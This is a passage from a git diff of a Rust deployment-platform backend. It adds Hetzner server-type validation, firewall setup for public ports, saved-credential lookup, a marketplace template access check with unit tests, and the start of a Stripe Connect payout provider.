+                .map(|t| t.name.as_str())
+                .collect();
+            return Err(format!(
+                "Server type '{}' is deprecated in Hetzner and can no longer be used to create new servers. \
+                 Set `deploy.cloud.size` in stacker.yml to an active type: {}",
+                server_type,
+                if active.is_empty() {
+                    "none found".to_string()
+                } else {
+                    active.join(", ")
+                }
+            ));
+        }
+        return Ok(());
+    }
+
+    let available: Vec<&str> = body
+        .server_types
+        .iter()
+        .filter(|t| t.deprecated.is_none())
+        .map(|t| t.name.as_str())
+        .collect();
+
+    Err(format!(
+        "Server type '{}' is not available in Hetzner. Available types: {}",
+        server_type,
+        if available.is_empty() {
+            "none found".to_string()
+        } else {
+            available.join(", ")
+        }
+    ))
+}
+
 async fn validate_template_server_capacity_requirements(
     template: &models::StackTemplate,
     requirements: &models::InfrastructureRequirements,
@@ -1199,7 +1356,22 @@ async fn execute_deployment(
         ));
     }
 
-    let json_request = dc.project.metadata.clone();
+    let mut json_request = dc.project.metadata.clone();
+    if let Some(ref public_ports) = form.public_ports {
+        if !public_ports.is_empty() {
+            if let Some(obj) = json_request.as_object_mut() {
+                obj.insert(
+                    "public_ports".to_string(),
+                    serde_json::Value::Array(
+                        public_ports
+                            .iter()
+                            .map(|p| serde_json::Value::String(p.clone()))
+                            .collect(),
+                    ),
+                );
+            }
+        }
+    }
     let deployment_hash = format!("deployment_{}", Uuid::new_v4());
     let deployment = models::Deployment::new(
         dc.project.id,
@@ -1242,6 +1414,13 @@ async fn execute_deployment(
         None
     };
 
+    // Capture server and cloud references before they move into deploy().
+    let has_server_ip = server.srv_ip.as_ref().map_or(false, |ip| !ip.trim().is_empty());
+    let should_configure_firewall = has_server_ip
+        && form.public_ports.as_ref().map_or(false, |p| !p.is_empty());
+    let firewall_server = server.clone();
+    let firewall_cloud = cloud.clone();
+
     let deploy_result = install_service
         .deploy(
             user.id.clone(),
@@ -1271,24 +1450,43 @@ async fn execute_deployment(
         .await;
     }
 
+    // When deploying to an existing server (has IP), configure cloud firewall immediately.
+    if should_configure_firewall {
+        if let Some(ref ports) = form.public_ports {
+            if let Err(e) = crate::forms::cloud_firewall::publish_public_firewall_rules(
+                mq_manager,
+                &firewall_server,
+                &firewall_cloud,
+                ports,
+                &deployment_hash,
+                &user.id,
+            )
+            .await
+            {
+                tracing::warn!(
+                    "Failed to auto-configure cloud firewall for deployment {}: {}",
+                    deployment_hash,
+                    e
+                );
+            }
+        }
+    }
+
     Ok((deploy_result, deployment_id))
 }
 
-#[tracing::instrument(name = "Deploy for every user", skip_all)]
-#[post("/{id}/deploy")]
-pub async fn item(
-    user: web::ReqData<Arc<models::User>>,
-    path: web::Path<(i32,)>,
-    mut form: web::Json<forms::project::Deploy>,
-    pg_pool: Data<PgPool>,
-    mq_manager: Data<MqManager>,
-    sets: Data<Settings>,
-    user_service: Data<Arc<dyn UserServiceConnector>>,
-    install_service: Data<Arc<dyn InstallServiceConnector>>,
-    vault_client: Data<VaultClient>,
-) -> Result<impl Responder> {
-    let id = path.0;
-    tracing::debug!("User {} is deploying project: {}", user.id, id);
+#[allow(clippy::too_many_arguments)]
+pub(crate) async fn deploy_project(
+    user: &models::User,
+    project: models::Project,
+    mut form: forms::project::Deploy,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    settings: &Settings,
+    user_service: &Arc<dyn UserServiceConnector>,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+) -> Result<(i32, i32)> {
     form.cloud.provider = form.cloud.provider.trim().to_string();
 
     if !form.validate().is_ok() {
@@ -1299,47 +1497,18 @@ pub async fn item(
         return Err(JsonResponse::<models::Project>::build().form_error(errors));
     }
 
-    // Validate project
-    let project = db::project::fetch(pg_pool.get_ref(), id)
-        .await
-        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
-        .and_then(|project| match project {
-            Some(project) => Ok(project),
-            None => Err(JsonResponse::<models::Project>::build().not_found("not found")),
-        })?;
-
     validate_project_locked_cloud_provider(&project, &form.cloud.provider)
         .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
 
     let marketplace_template = if let Some(template_id) = project.source_template_id {
-        let template = db::marketplace::get_by_id(pg_pool.get_ref(), template_id)
+        let template = db::marketplace::get_by_id(pg_pool, template_id)
             .await
             .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
 
         if let Some(template) = template {
-            if let Some(required_plan) = template.required_plan_name.as_deref() {
-                let has_plan = user_service
-                    .user_has_plan(&user.id, required_plan, user.access_token.as_deref())
-                    .await
-                    .map_err(|err| {
-                        tracing::error!("Failed to validate plan: {:?}", err);
-                        JsonResponse::<models::Project>::build()
-                            .internal_server_error("Failed to validate subscription plan")
-                    })?;
-
-                if !has_plan {
-                    tracing::warn!(
-                        "User {} lacks required plan {} to deploy template {}",
-                        user.id,
-                        required_plan,
-                        template_id
-                    );
-                    return Err(JsonResponse::<models::Project>::build().forbidden(format!(
-                        "You require a '{}' subscription to deploy this template",
-                        required_plan
-                    )));
-                }
-            }
+            services::validate_marketplace_template_access(user_service, user, &template)
+                .await
+                .map_err(map_marketplace_access_error)?;
 
             Some(template)
         } else {
@@ -1354,6 +1523,53 @@ pub async fn item(
     form.cloud.user_id = Some(user.id.clone());
     form.cloud.project_id = Some(id);
 
+    // Resolve saved cloud credentials by name when the inbound form did not
+    // carry inline credentials. This makes the install/catalog flow honor
+    // `deploy.cloud.key` / `deploy.cloud.name` just like the explicit
+    // `POST /project/{id}/deploy/{cloud_id}` route honors its path param.
+    // We hold on to the resolved saved cloud so the new server gets linked
+    // back to the saved cloud's DB id (otherwise `server.cloud_id` would
+    // stay NULL and the Install Service has no credentials to use).
+    let mut resolved_saved_cloud: Option<models::Cloud> = None;
+    if form.cloud.provider != "own" && cloud_credentials_missing(&form.cloud) {
+        if let Some(name) = form
+            .cloud
+            .name
+            .as_deref()
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+        {
+            match resolve_saved_cloud_for_user(pg_pool, &user.id, name).await {
+                Ok(Some(saved)) => {
+                    let decoded = forms::cloud::CloudForm::decode_model(saved.clone(), true);
+                    form.cloud.cloud_token = decoded.cloud_token;
+                    form.cloud.cloud_key = decoded.cloud_key;
+                    form.cloud.cloud_secret = decoded.cloud_secret;
+                    form.cloud.save_token = Some(false);
+                    resolved_saved_cloud = Some(saved);
+                }
+                Ok(None) => {
+                    return Err(JsonResponse::<models::Project>::build().bad_request(
+                        format!(
+                            "Saved cloud credential '{}' was not found. Run `stacker list clouds` to see available names or omit `deploy.cloud.key` to attach a new one.",
+                            name
+                        ),
+                    ));
+                }
+                Err(err) => {
+                    tracing::error!(
+                        "Failed to load saved cloud credential '{}' for user {}: {}",
+                        name,
+                        user.id,
+                        err
+                    );
+                    return Err(JsonResponse::<models::Project>::build()
+                        .internal_server_error("Failed to load saved cloud credentials"));
+                }
+            }
+        }
+    }
+
     // Validate cloud credentials before encrypting/saving.
     // For cloud providers ("htz", "do", "lin", "aws", etc.) we need valid credentials.
     if form.cloud.provider != "own" {
@@ -1376,29 +1592,34 @@ pub async fn item(
             );
             return Err(JsonResponse::<models::Project>::build().bad_request(
                 "Cloud API credentials are required for cloud deployments. \
-                 Please provide your cloud provider API token.",
+                 Please provide your cloud provider API token, or set `deploy.cloud.key` to the name of a saved credential (see `stacker list clouds`).",
             ));
         }
     }
 
-    // Save cloud credentials if requested, capturing the returned cloud with its DB id
-    let cloud_creds: models::Cloud = (&form.cloud).into();
-
-    let cloud_creds = if Some(true) == cloud_creds.save_token {
-        db::cloud::insert(pg_pool.get_ref(), cloud_creds.clone())
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Cloud>::build()
-                    .internal_server_error("Internal Server Error")
-            })?
+    // Save cloud credentials if requested, capturing the returned cloud with its DB id.
+    // When the user is reusing a saved cloud (resolved above by name), keep
+    // that cloud's DB id so `server.cloud_id` is set correctly downstream.
+    let cloud_creds: models::Cloud = if let Some(saved) = resolved_saved_cloud.take() {
+        saved
     } else {
-        cloud_creds
+        let cloud_creds: models::Cloud = (&form.cloud).into();
+        if Some(true) == cloud_creds.save_token {
+            db::cloud::insert(pg_pool, cloud_creds.clone())
+                .await
+                .map_err(|_| {
+                    JsonResponse::<models::Cloud>::build()
+                        .internal_server_error("Internal Server Error")
+                })?
+        } else {
+            cloud_creds
+        }
     };
 
     // Handle server: if server_id provided, update existing; otherwise create new
     let server = if let Some(server_id) = form.server.server_id {
         // Update existing server
-        let existing = db::server::fetch(pg_pool.get_ref(), server_id)
+        let existing = db::server::fetch(pg_pool, server_id)
             .await
             .map_err(|_| {
                 JsonResponse::<models::Server>::build()
@@ -1427,12 +1648,9 @@ pub async fn item(
             server.connection_mode = form.server.connection_mode.clone().unwrap();
         }
 
-        db::server::update(pg_pool.get_ref(), server)
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Server>::build()
-                    .internal_server_error("Failed to update server")
-            })?
+        db::server::update(pg_pool, server).await.map_err(|_| {
+            JsonResponse::<models::Server>::build().internal_server_error("Failed to update server")
+        })?
     } else {
         // Create new server
         let mut server: models::Server = (&form.server).into();
@@ -1443,27 +1661,26 @@ pub async fn item(
             server.cloud_id = Some(cloud_creds.id);
         }
 
-        db::server::insert(pg_pool.get_ref(), server)
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Server>::build()
-                    .internal_server_error("Internal Server Error")
-            })?
+        db::server::insert(pg_pool, server).await.map_err(|_| {
+            JsonResponse::<models::Server>::build().internal_server_error("Internal Server Error")
+        })?
     };
 
     validate_reused_cloud_server(&cloud_creds, &server)
         .await
         .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
 
-    ensure_default_status_panel_npm_credentials(
-        user.as_ref(),
-        &form,
-        pg_pool.get_ref(),
-        sets.get_ref(),
-        &server,
+    validate_hetzner_server_type(
+        &cloud_creds,
+        server.server.as_deref().unwrap_or(""),
+        server.region.as_deref(),
     )
     .await
-    .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+    .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    ensure_default_status_panel_npm_credentials(user, &form, pg_pool, settings, &server)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
 
     if let Some(template) = marketplace_template.as_ref() {
         let requirements = parse_template_requirements(template)
@@ -1493,17 +1710,56 @@ pub async fn item(
         .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
     }
 
-    let (project_id, deployment_id) = execute_deployment(
-        user.as_ref(),
+    execute_deployment(
+        user,
         project,
         &form,
+        pg_pool,
+        mq_manager,
+        install_service,
+        vault_client,
+        settings,
+        cloud_creds,
+        server,
+    )
+    .await
+}
+
+#[tracing::instrument(name = "Deploy for every user", skip_all)]
+#[post("/{id}/deploy")]
+pub async fn item(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32,)>,
+    form: web::Json<forms::project::Deploy>,
+    pg_pool: Data<PgPool>,
+    mq_manager: Data<MqManager>,
+    sets: Data<Settings>,
+    user_service: Data<Arc<dyn UserServiceConnector>>,
+    install_service: Data<Arc<dyn InstallServiceConnector>>,
+    vault_client: Data<VaultClient>,
+) -> Result<impl Responder> {
+    let id = path.0;
+    tracing::debug!("User {} is deploying project: {}", user.id, id);
+
+    // Validate project
+    let project = db::project::fetch(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
+        .and_then(|project| match project {
+            Some(project) => Ok(project),
+            None => Err(JsonResponse::<models::Project>::build().not_found("not found")),
+        })?;
+
+    let (project_id, deployment_id) = deploy_project(
+        user.as_ref(),
+        project,
+        form.into_inner(),
         pg_pool.get_ref(),
         mq_manager.get_ref(),
+        sets.get_ref(),
+        user_service.get_ref(),
         install_service.get_ref(),
         vault_client.get_ref(),
-        sets.get_ref(),
-        cloud_creds,
-        server,
     )
     .await?;
 
@@ -1550,29 +1806,13 @@ pub async fn saved_item(
             .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
 
         if let Some(template) = template {
-            if let Some(required_plan) = template.required_plan_name.as_deref() {
-                let has_plan = user_service
-                    .user_has_plan(&user.id, required_plan, user.access_token.as_deref())
-                    .await
-                    .map_err(|err| {
-                        tracing::error!("Failed to validate plan: {:?}", err);
-                        JsonResponse::<models::Project>::build()
-                            .internal_server_error("Failed to validate subscription plan")
-                    })?;
-
-                if !has_plan {
-                    tracing::warn!(
-                        "User {} lacks required plan {} to deploy template {}",
-                        user.id,
-                        required_plan,
-                        template_id
-                    );
-                    return Err(JsonResponse::<models::Project>::build().forbidden(format!(
-                        "You require a '{}' subscription to deploy this template",
-                        required_plan
-                    )));
-                }
-            }
+            services::validate_marketplace_template_access(
+                user_service.get_ref(),
+                user.as_ref(),
+                &template,
+            )
+            .await
+            .map_err(map_marketplace_access_error)?;
 
             Some(template)
         } else {
@@ -1702,6 +1942,14 @@ pub async fn saved_item(
         .await
         .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
 
+    validate_hetzner_server_type(
+        &cloud,
+        server.server.as_deref().unwrap_or(""),
+        server.region.as_deref(),
+    )
+    .await
+    .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
     ensure_default_status_panel_npm_credentials(
         user.as_ref(),
         &form,
@@ -1766,6 +2014,7 @@ pub async fn rollback(
     mq_manager: Data<MqManager>,
     sets: Data<Settings>,
     install_service: Data<Arc<dyn InstallServiceConnector>>,
+    user_service: Data<Arc<dyn UserServiceConnector>>,
     vault_client: Data<VaultClient>,
 ) -> Result<impl Responder> {
     let id = path.0;
@@ -1789,6 +2038,13 @@ pub async fn rollback(
         .await
         .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?
         .ok_or_else(|| JsonResponse::<models::Project>::build().not_found("Template not found"))?;
+    services::validate_marketplace_template_access(
+        user_service.get_ref(),
+        user.as_ref(),
+        &template,
+    )
+    .await
+    .map_err(map_marketplace_access_error)?;
 
     let target_version = db::marketplace::list_versions_by_template(pg_pool.get_ref(), template_id)
         .await
@@ -1921,6 +2177,7 @@ mod tests {
             infrastructure_requirements: json!({}),
             public_ports: None,
             vendor_url: None,
+            vendor_slug: None,
             version: None,
             changelog: None,
             config_files: json!(null),
diff --git a/src/services/marketplace_access.rs b/src/services/marketplace_access.rs
new file mode 100644
index 00000000..7406d799
--- /dev/null
+++ b/src/services/marketplace_access.rs
@@ -0,0 +1,380 @@
+use std::sync::Arc;
+
+use crate::connectors::{errors::ConnectorError, user_service::UserServiceConnector};
+use crate::models;
+
+const MARKETPLACE_INSTALL_MIN_PLAN: &str = "professional";
+
+#[derive(Debug)]
+pub enum MarketplaceAccessError {
+    MissingUserToken,
+    InsufficientFeaturePlan,
+    InsufficientTemplatePlan { required_plan: String },
+    TemplateNotOwned,
+    ValidationFailed(String),
+}
+
+impl std::fmt::Display for MarketplaceAccessError {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Self::MissingUserToken => {
+                write!(f, "User token is required to validate marketplace access")
+            }
+            Self::InsufficientFeaturePlan => write!(
+                f,
+                "Marketplace installs are available on Pro and Team plans"
+            ),
+            Self::InsufficientTemplatePlan { required_plan } => write!(
+                f,
+                "This template requires a '{}' subscription",
+                required_plan
+            ),
+            Self::TemplateNotOwned => {
+                write!(f, "You must purchase this template before installing it")
+            }
+            Self::ValidationFailed(reason) => {
+                write!(f, "Failed to validate marketplace access: {}", reason)
+            }
+        }
+    }
+}
+
+impl std::error::Error for MarketplaceAccessError {}
+
+fn validation_failed(err: ConnectorError) -> MarketplaceAccessError {
+    MarketplaceAccessError::ValidationFailed(err.to_string())
+}
+
+async fn user_owns_template_by_any_identifier(
+    user_service: &Arc<dyn UserServiceConnector>,
+    user_token: &str,
+    template: &models::StackTemplate,
+) -> Result<bool, MarketplaceAccessError> {
+    let identifiers = [
+        template.product_id.map(|id| id.to_string()),
+        Some(template.id.to_string()),
+        Some(template.slug.clone()),
+    ];
+
+    for identifier in identifiers.into_iter().flatten() {
+        if user_service
+            .user_owns_template(user_token, &identifier)
+            .await
+            .map_err(validation_failed)?
+        {
+            return Ok(true);
+        }
+    }
+
+    Ok(false)
+}
+
+pub async fn validate_marketplace_template_access(
+    user_service: &Arc<dyn UserServiceConnector>,
+    user: &models::User,
+    template: &models::StackTemplate,
+) -> Result<(), MarketplaceAccessError> {
+    let user_token = user
+        .access_token
+        .as_deref()
+        .ok_or(MarketplaceAccessError::MissingUserToken)?;
+
+    let has_feature_plan = user_service
+        .user_has_plan(&user.id, MARKETPLACE_INSTALL_MIN_PLAN, Some(user_token))
+        .await
+        .map_err(validation_failed)?;
+    if !has_feature_plan {
+        return Err(MarketplaceAccessError::InsufficientFeaturePlan);
+    }
+
+    if let Some(required_plan) = template
+        .required_plan_name
+        .as_deref()
+        .map(str::trim)
+        .filter(|plan| !plan.is_empty())
+    {
+        let has_template_plan = user_service
+            .user_has_plan(&user.id, required_plan, Some(user_token))
+            .await
+            .map_err(validation_failed)?;
+        if !has_template_plan {
+            return Err(MarketplaceAccessError::InsufficientTemplatePlan {
+                required_plan: required_plan.to_string(),
+            });
+        }
+    }
+
+    let no_price = template.price.map(|p| p <= 0.0).unwrap_or(true);
+    let no_plan = template
+        .required_plan_name
+        .as_deref()
+        .map(|p| p.trim().is_empty() || p.trim().eq_ignore_ascii_case("free"))
+        .unwrap_or(true);
+    let is_free = no_price && no_plan;
+
+    if !is_free
+        && template.product_id.is_some()
+        && !user_owns_template_by_any_identifier(user_service, user_token, template).await?
+    {
+        return Err(MarketplaceAccessError::TemplateNotOwned);
+    }
+
+    Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::connectors::user_service::{
+        CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProduct,
+        UserProfile,
+    };
+    use crate::connectors::ConnectorError;
+    use async_trait::async_trait;
+    use std::collections::{HashMap, HashSet};
+    use uuid::Uuid;
+
+    struct TestUserService {
+        plans: HashMap<String, bool>,
+        owned_identifiers: HashSet<String>,
+    }
+
+    impl TestUserService {
+        fn new(plans: &[(&str, bool)], owned_identifiers: &[&str]) -> Self {
+            Self {
+                plans: plans
+                    .iter()
+                    .map(|(plan, allowed)| ((*plan).to_string(), *allowed))
+                    .collect(),
+                owned_identifiers: owned_identifiers
+                    .iter()
+                    .map(|identifier| (*identifier).to_string())
+                    .collect(),
+            }
+        }
+    }
+
+    #[async_trait]
+    impl UserServiceConnector for TestUserService {
+        async fn create_stack_from_template(
+            &self,
+            _marketplace_template_id: &Uuid,
+            _user_id: &str,
+            _template_version: &str,
+            _name: &str,
+            _stack_definition: serde_json::Value,
+        ) -> Result<StackResponse, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn get_stack(
+            &self,
+            _stack_id: i32,
+            _user_id: &str,
+        ) -> Result<StackResponse, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn list_stacks(&self, _user_id: &str) -> Result<Vec<StackResponse>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn user_has_plan(
+            &self,
+            _user_id: &str,
+            required_plan_name: &str,
+            _user_token: Option<&str>,
+        ) -> Result<bool, ConnectorError> {
+            Ok(self.plans.get(required_plan_name).copied().unwrap_or(false))
+        }
+
+        async fn get_user_plan(&self, _user_id: &str) -> Result<UserPlanInfo, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn list_available_plans(&self) -> Result<Vec<PlanDefinition>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn get_user_profile(&self, _user_token: &str) -> Result<UserProfile, ConnectorError> {
+            Ok(UserProfile {
+                id: "test-user-id".to_string(),
+                email: "user@example.com".to_string(),
+                plan: None,
+                products: vec![UserProduct {
+                    id: Some("product-id".to_string()),
+                    name: "Template".to_string(),
+                    code: "paid-template".to_string(),
+                    product_type: "template".to_string(),
+                    external_id: Some(100),
+                    owned_since: None,
+                }],
+            })
+        }
+
+        async fn get_template_product(
+            &self,
+            _stack_template_id: i32,
+        ) -> Result<Option<ProductInfo>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn user_owns_template(
+            &self,
+            _user_token: &str,
+            stack_template_id: &str,
+        ) -> Result<bool, ConnectorError> {
+            Ok(self.owned_identifiers.contains(stack_template_id))
+        }
+
+        async fn get_categories(&self) -> Result<Vec<CategoryInfo>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn search_marketplace_templates(
+            &self,
+            _user_token: &str,
+            _query: Option<&str>,
+            _category: Option<&str>,
+            _is_marketplace: Option<bool>,
+            _page: Option<u32>,
+            _max_results: Option<u32>,
+        ) -> Result<Vec<serde_json::Value>, ConnectorError> {
+            unimplemented!()
+        }
+    }
+
+    fn test_user() -> models::User {
+        models::User {
+            id: "user-1".to_string(),
+            first_name: "Test".to_string(),
+            last_name: "User".to_string(),
+            email: "user@example.com".to_string(),
+            role: "user".to_string(),
+            email_confirmed: true,
+            mfa_verified: false,
+            access_token: Some("token".to_string()),
+        }
+    }
+
+    fn test_template() -> models::StackTemplate {
+        models::StackTemplate {
+            slug: "paid-template".to_string(),
+            product_id: Some(100),
+            required_plan_name: Some("enterprise".to_string()),
+            ..Default::default()
+        }
+    }
+
+    #[tokio::test]
+    async fn validates_feature_plan_template_plan_and_ownership() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true), ("enterprise", true)],
+            &["100"],
+        ));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &test_template())
+                .await;
+
+        assert!(result.is_ok());
+    }
+
+    #[tokio::test]
+    async fn rejects_users_below_marketplace_install_plan() {
+        let user_service: Arc<dyn UserServiceConnector> =
+            Arc::new(TestUserService::new(&[("professional", false)], &["100"]));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &test_template())
+                .await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::InsufficientFeaturePlan)
+        ));
+    }
+
+    #[tokio::test]
+    async fn rejects_unowned_paid_templates() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true), ("enterprise", true)],
+            &[],
+        ));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &test_template())
+                .await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::TemplateNotOwned)
+        ));
+    }
+
+    #[tokio::test]
+    async fn allows_free_templates_without_ownership() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true)],
+            &[],
+        ));
+
+        let template = models::StackTemplate {
+            slug: "free-template".to_string(),
+            product_id: Some(999),
+            price: None,
+            required_plan_name: None,
+            ..Default::default()
+        };
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(result.is_ok());
+    }
+
+    #[tokio::test]
+    async fn allows_zero_price_templates_without_ownership() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true)],
+            &[],
+        ));
+
+        let template = models::StackTemplate {
+            slug: "zero-price-template".to_string(),
+            product_id: Some(888),
+            price: Some(0.0),
+            required_plan_name: None,
+            ..Default::default()
+        };
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(result.is_ok());
+    }
+
+    #[tokio::test]
+    async fn rejects_unowned_template_with_plan_requirement() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true), ("enterprise", true)],
+            &[],
+        ));
+
+        let template = models::StackTemplate {
+            slug: "plan-only-template".to_string(),
+            product_id: Some(777),
+            price: None,
+            required_plan_name: Some("enterprise".to_string()),
+            ..Default::default()
+        };
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::TemplateNotOwned)
+        ));
+    }
+}
diff --git a/src/services/mod.rs b/src/services/mod.rs
index d68829e4..347deb66 100644
--- a/src/services/mod.rs
+++ b/src/services/mod.rs
@@ -11,7 +11,9 @@ pub mod explain;
 pub mod grpc_pipe;
 pub mod handoff;
 pub mod log_cache;
+pub mod marketplace_access;
 pub mod marketplace_assets;
+pub mod payout_provider;
 pub mod project;
 pub mod project_app_service;
 mod rating;
@@ -52,11 +54,16 @@ pub use explain::{
 };
 pub use handoff::InMemoryHandoffStore;
 pub use log_cache::LogCacheService;
+pub use marketplace_access::{validate_marketplace_template_access, MarketplaceAccessError};
 pub use marketplace_assets::{
     build_asset_key, presign_asset_download, presign_asset_upload, MarketplaceAssetStorageError,
     MarketplaceAssetUploadRequest, PresignedMarketplaceAssetResponse,
     MARKETPLACE_ASSET_STORAGE_PROVIDER,
 };
+pub use payout_provider::{
+    init_payout_provider, MockPayoutProvider, PayoutOnboardingCompletion, PayoutOnboardingLink,
+    PayoutProvider, PayoutProviderError, PayoutWebhookUpdate, StripeConnectPayoutProvider,
+};
 pub use project_app_service::{ProjectAppError, ProjectAppService, SyncSummary};
 pub use typed_error::{
     ApiTypedError, TypedErrorCode, TypedErrorEnvelope, TypedRemediationClass,
diff --git a/src/services/payout_provider.rs b/src/services/payout_provider.rs
new file mode 100644
index 00000000..5b1a35e8
--- /dev/null
+++ b/src/services/payout_provider.rs
@@ -0,0 +1,633 @@
+use crate::configuration::PayoutSettings;
+use crate::models;
+use async_trait::async_trait;
+use hmac::{Hmac, Mac};
+use serde::Deserialize;
+use serde_json::Value;
+use sha2::Sha256;
+use std::time::Duration;
+
+#[derive(Debug, Clone)]
+pub struct PayoutOnboardingLink {
+    pub provider: String,
+    pub account_ref: String,
+    pub onboarding_url: Option<String>,
+    pub expires_at: Option<i64>,
+}
+
+#[derive(Debug, Clone)]
+pub struct PayoutOnboardingCompletion {
+    pub completed: bool,
+    pub payouts_enabled: bool,
+}
+
+#[derive(Debug, Clone)]
+pub struct PayoutWebhookUpdate {
+    pub provider: String,
+    pub account_ref: String,
+    pub onboarding_completed: bool,
+    pub payouts_enabled: bool,
+    pub event_type: String,
+}
+
+/// Phrases (lowercase) in Stripe error messages that mean *TryDirect's*
+/// platform Connect setup is incomplete — the vendor cannot fix these.
+const PLATFORM_SETUP_PHRASES: &[&str] = &[
+    "complete your platform profile",
+    "signed up for connect",
+    "sign up for connect",
+    "review the responsibilities of managing connected accounts",
+    "platform settings",
+    "enable connect",
+];
+
+#[derive(Debug, thiserror::Error)]
+pub enum PayoutProviderError {
+    #[error("Payout provider is not configured: {0}")]
+    NotConfigured(String),
+    #[error("Payout provider request failed: {0}")]
+    Request(String),
+    #[error("Payout provider response was invalid: {0}")]
+    InvalidResponse(String),
+}
+
+impl PayoutProviderError {
+    /// True when the error is caused by TryDirect's own Connect setup being
+    /// incomplete — the vendor cannot act on it.
+    pub fn is_platform_setup_error(&self) -> bool {
+        let msg = self.to_string().to_lowercase();
+        PLATFORM_SETUP_PHRASES
+            .iter()
+            .any(|phrase| msg.contains(phrase))
+    }
+
+    /// User-friendly message safe to show to a creator.
+    pub fn user_message(&self) -> String {
+        if self.is_platform_setup_error() {
+            "Creator payouts are being set up by the TryDirect team. \
+             We'll email you the moment it's ready — no action needed on your side."
+                .to_string()
+        } else {
+            match self {
+                PayoutProviderError::NotConfigured(_) => {
+                    "Payout provider is not configured.".to_string()
+                }
+                PayoutProviderError::Request(msg) => msg.clone(),
+                PayoutProviderError::InvalidResponse(_) => {
+                    "Received an unexpected response from the payout provider.".to_string()
+                }
+            }
+        }
+    }
+}
+
+#[async_trait]
+pub trait PayoutProvider: Send + Sync {
+    fn provider_code(&self) -> &'static str;
+
+    async fn create_onboarding_link(
+        &self,
+        user: &models::User,
+        existing_account_ref: Option<&str>,
+    ) -> Result<PayoutOnboardingLink, PayoutProviderError>;
+
+    async fn complete_onboarding(
+        &self,
+        account_ref: &str,
+    ) -> Result<PayoutOnboardingCompletion, PayoutProviderError>;
+
+    async fn parse_webhook_update(
+        &self,
+        payload: &[u8],
+        signature: Option<&str>,
+    ) -> Result<Option<PayoutWebhookUpdate>, PayoutProviderError>;
+}
+
+#[derive(Debug, Default)]
+pub struct MockPayoutProvider;
+
+#[async_trait]
+impl PayoutProvider for MockPayoutProvider {
+    fn provider_code(&self) -> &'static str {
+        "mock"
+    }
+
+    async fn create_onboarding_link(
+        &self,
+        _user: &models::User,
+        existing_account_ref: Option<&str>,
+    ) -> Result<PayoutOnboardingLink, PayoutProviderError> {
+        let account_ref = existing_account_ref
+            .map(str::to_string)
+            .unwrap_or_else(|| format!("acct_mock_{}", uuid::Uuid::new_v4().simple()));
+
+        Ok(PayoutOnboardingLink {
+            provider: self.provider_code().to_string(),
+            onboarding_url: Some(format!(
+                "https://mock.payouts.local/onboarding/{account_ref}"
+            )),
+            account_ref,
+            expires_at: None,
+        })
+    }
+
+    async fn complete_onboarding(
+        &self,
+        _account_ref: &str,
+    ) -> Result<PayoutOnboardingCompletion, PayoutProviderError> {
+        Ok(PayoutOnboardingCompletion {
+            completed: true,
+            payouts_enabled: false,
+        })
+    }
+
+    async fn parse_webhook_update(
+        &self,
+        _payload: &[u8],
+        _signature: Option<&str>,
+    ) -> Result<Option<PayoutWebhookUpdate>, PayoutProviderError> {
+        Ok(None)
+    }
+}
+
+#[derive(Clone)]
+pub struct StripeConnectPayoutProvider {
+    http_client: reqwest::Client,
+    secret_key: String,
+    webhook_secret: String,
+    api_base_url: String,
+    return_url: String,
+    refresh_url: String,
+}
+
+impl StripeConnectPayoutProvider {
+    pub fn try_new(settings: &PayoutSettings) -> Result<Self, PayoutProviderError> {
+        let secret_key = settings.stripe_secret_key.trim().to_string();
+        if secret_key.is_empty() {
+            return Err(PayoutProviderError::NotConfigured(
